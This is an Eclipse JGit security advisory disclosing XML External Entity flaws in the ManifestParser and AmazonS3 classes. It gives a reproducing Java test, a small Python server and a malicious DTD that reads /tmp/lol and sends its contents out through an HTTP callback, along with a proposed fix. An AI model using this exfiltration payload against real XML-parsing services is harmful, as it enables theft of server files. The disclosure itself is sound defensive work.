XXE vulnerability in Eclipse JGit
# Summary jgit is vulnerable to XML External Entity (XXE) attacks when parsing XML files. This vulnerability can lead to information disclosure, denial of service, and other security issues. The vulnerability is present in the `ManifestParser` and `AmazonS3` classes, which use a `SAXParser` to parse XML files without properly configuring it to disable external entity processing. ## Vulnerability Details 1 The vulnerability occurs in the `ManifestParser` class [0], specifically in the `read` method. The code uses a `SAXParser` to parse XML files without properly configuring it to disable external entity processing. This allows an attacker to craft a malicious XML file that can exploit the XXE vulnerability. The attack can be reproduced by adding this testcase to the `ManifestParserTest` class: ```java @Test public void testXXE() throws Exception { String baseUrl = "https://git.google.com/"; StringBuilder xmlContent = new StringBuilder(); xmlContent.append("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n") .append("<!DOCTYPE foobar SYSTEM \"file:///does_not_exist/second.xml\">") .append("<manifest>") .append("<remote name=\"remote1\" fetch=\".\" />") .append("<default revision=\"master\" remote=\"remote1\" />") .append("<project path=\"foo\" name=\"").append("foo") .append("\" groups=\"a,test\" />") .append("<project path=\"bar\" name=\"").append("bar") .append("\" groups=\"notdefault\" />") .append("<project path=\"foo/a\" name=\"").append("a") .append("\" groups=\"a\" />") .append("<project path=\"b\" name=\"").append("b") .append("\" groups=\"b\" />").append("</manifest>"); try { new ManifestParser(null, null, "master", baseUrl, null, null) .read(new ByteArrayInputStream( xmlContent.toString().getBytes(UTF_8))); fail("ManifestParser did not throw exception for XXE"); } catch(FileNotFoundException e) { assertTrue(e.getMessage().contains("second.xml")); e.printStackTrace(); } catch (IOException e) { fail("Exception should be FileNotFoundException"); } } ``` When executing the test, the `ManifestParser` will attempt to read the external entity `file:///does_not_exist/second.xml`. Instead of reading a local file, it is also possible to read a remote file by using a URL like `http://example.com/first.xml`. File content can also be read from the local filesystem and disclosed to an attacker. For this, run `python serve.py` and changed `file:///does_not_exist/second.xml` to `http://localhost:8000/second.xml` in the test case. The server should show a request for `second.xml` and the content of `/tmp/lol` (`foobar`) should be shown like this: ```bash 127.0.0.1 - - [05/May/2025 22:28:42] "GET /second.xml HTTP/1.1" 200 - 127.0.0.1 - - [05/May/2025 22:28:42] "GET /?foobar HTTP/1.1" 200 - ``` `server.py`: ```py import http.server import socketserver class CustomHTTPRequestHandler(http.server.SimpleHTTPRequestHandler): def guess_type(self, path): # Override the MIME type for .xml files if path.endswith(".xml"): return "text/xml" return super().guess_type(path) # Define the port PORT = 8000 # Create the server with socketserver.TCPServer(("", PORT), CustomHTTPRequestHandler) as httpd: print(f"Serving files on port {PORT}") httpd.serve_forever() ``` `second.xml`: ```xml <!ENTITY % file SYSTEM "file:///tmp/lol"> <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://localhost:8000/?%file;'>"> %eval; %exfil; ``` ### Limitations As far as _I_ am aware, it is NOT possible to exfiltrate files from the local filesystem that contain linebreaks. This is because Java rejects linebreaks in URLs. (E.g. `new URL("http://localhost/foo\nbar").openConnection()` fails with `java.net.MalformedURLException: Illegal character in URL`) However, I would cautiously assume that there is still a way of exfiltrating files with linebreaks by using a different encoding or some other trick. ## Fix I think it should suffice to set the following features on the `XMLReader` instance in the `ManifestParser` class: ```java xr.setFeature("http://xml.org/sax/features/external-parameter-entities", false); xr.setFeature("http://xml.org/sax/features/external-general-entities", false); ``` ## Vulnerability Details 2 The vulnerability occurs in the `AmazonS3` class [1], specifically in the `list` method. The code uses a `SAXParser` to parse XML files without properly configuring it to disable external entity processing. This allows an attacker to craft a malicious XML file that can exploit the XXE vulnerability. I didn't find an easy way to reproduce the attack, but I see no reason why it shouldn't work like the first vulnerability. The `list` method is used to list objects in an S3 bucket, and if an attacker can control the XML response from S3, they could potentially exploit the XXE vulnerability. ## Credit `Simon Gerst (intrigus-lgtm)` [https://github.com/intrigus-lgtm](intrigus-lgtm). [0] https://github.com/eclipse-jgit/jgit/blob/e74771cb962bdef344e6b87658e75c9aca07fee3/org.eclipse.jgit/src/org/eclipse/jgit/gitrepo/ManifestParser.java#L145 [1] https://github.com/eclipse-jgit/jgit/blob/e74771cb962bdef344e6b87658e75c9aca07fee3/org.eclipse.jgit/src/org/eclipse/jgit/transport/AmazonS3.java#L763
issue

Copyright © Eclipse Foundation AISBL. All rights reserved.     Privacy Policy | Terms of Use | Copyright Agent